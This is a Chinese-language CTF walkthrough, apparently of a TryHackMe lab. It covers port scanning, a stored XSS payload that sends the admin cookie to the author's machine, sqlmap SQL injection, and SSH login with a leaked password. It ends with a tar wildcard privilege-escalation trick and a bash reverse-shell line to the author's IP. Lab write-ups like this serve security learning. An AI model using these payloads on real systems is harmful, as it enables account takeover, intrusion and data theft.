信息收集
1.nmap扫描端口开放情况:nmap 10.10.110.176
。
2.访问页面,站点是路由,那么可以断定应该是python或者node.js这样的站点。扫描路由发现/admin
。
漏洞利用
1.先注册一个用户,并登录,在new listing
页面发现了留言板功能,其中也包括了标题和描述,还有个废弃的文件上传框。
2.在Home
页面发现了类似于管理员查看的功能点repot listing to admins
。
3.这下利用思路就有了,通过留言板构造xss的payload,然后窃取管理员cookie,并发送到我们本地客户端10.18.20.183
。
payload:
<script>window.location='http://10.18.20.183/?cookie='+btoa(JSON.stringify(document.cookie));</script>
4.构造标题为4,然后在点击该功能点窃取cookie:
5.访问apache2
的日志,发现服务器传递的base64加密后的cookie:
6.解密替换cookie,然后刷新页面,成功登陆到管理员账号:
7.在用户管理页面获取到第一个flag:THM{c37a63895910e478f28669b048c348d5}
8.接下来就是获取shell了,我一开始是以为那个不安全的上传功能在管理员账号中就能使用,但是发现好像不行,但是提示又说该功能点存在不安全的风险。
9.这个时候,再次注意发现flag的用户管理页面,其中下面的用户有个参数ID
,发现输入单引号报错:
10.该页面的参数存在sql注入,那就可以掏出sqlmap
跑一下了,但是由于不熟悉这款工具(平时都是手工测试的),于是找了一下wp的运行命令:sqlmap http://10.10.110.176/admin?user=1 --cookie='token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2ODgzOTQyOTh9.Q1tyyOoMvhwScdO_lZVIQa0YT_QQoV29sZ-L6slmW6k' -dump --technique=U --delay=2 -dump
11.在messages
表中得到重要讯息,这里和我们说用户3的ssh密钥是弱密码,于是给了他一个新密码@b_ENXkGYUCAv3zJ
:
12.找到用户表中对应3的序号是用户jake
,刚好前期信息收集得到22端口是开放的,直接用该用户和密码登陆ssh,到这步环境到期了,还得继续重启一下:
13.拿到shell以后,直接cat user.txt
获得第二个flag:THM{c3648ee7af1369676e3e4b15da6dc0b4}
权限提升
1.到这步就剩一个root.txt
了,很明显是要提权,首先使用sudo -l
列出无密码的命令:
2.上面可以看到,我们能以sudo
的命令来运行这个备份文件的脚本backup.sh
,它利用了通配符,会将该目录下的所有文件压缩到tar文件夹中。
3.百度搜索tar命令提权:https://www.cnblogs.com/zlgxzswjy/p/15210570.html。这篇文章说明了,当使用了通配符时,文件名就能被作为参数来使用,而参数checkpoint
刚好能用于指定到达该节点时,将执行的脚本。所有我们设置好内容,和文件名参数,执行。
echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
4.我们修改一下shell.sh
的内容,改成bash反弹shell。bash -i >& /dev/tcp/10.18.20.183/6666 0>&1
,这里出现问题了,执行之后说并没有权限。
5.在这一步卡住了,只能后续继续研究了。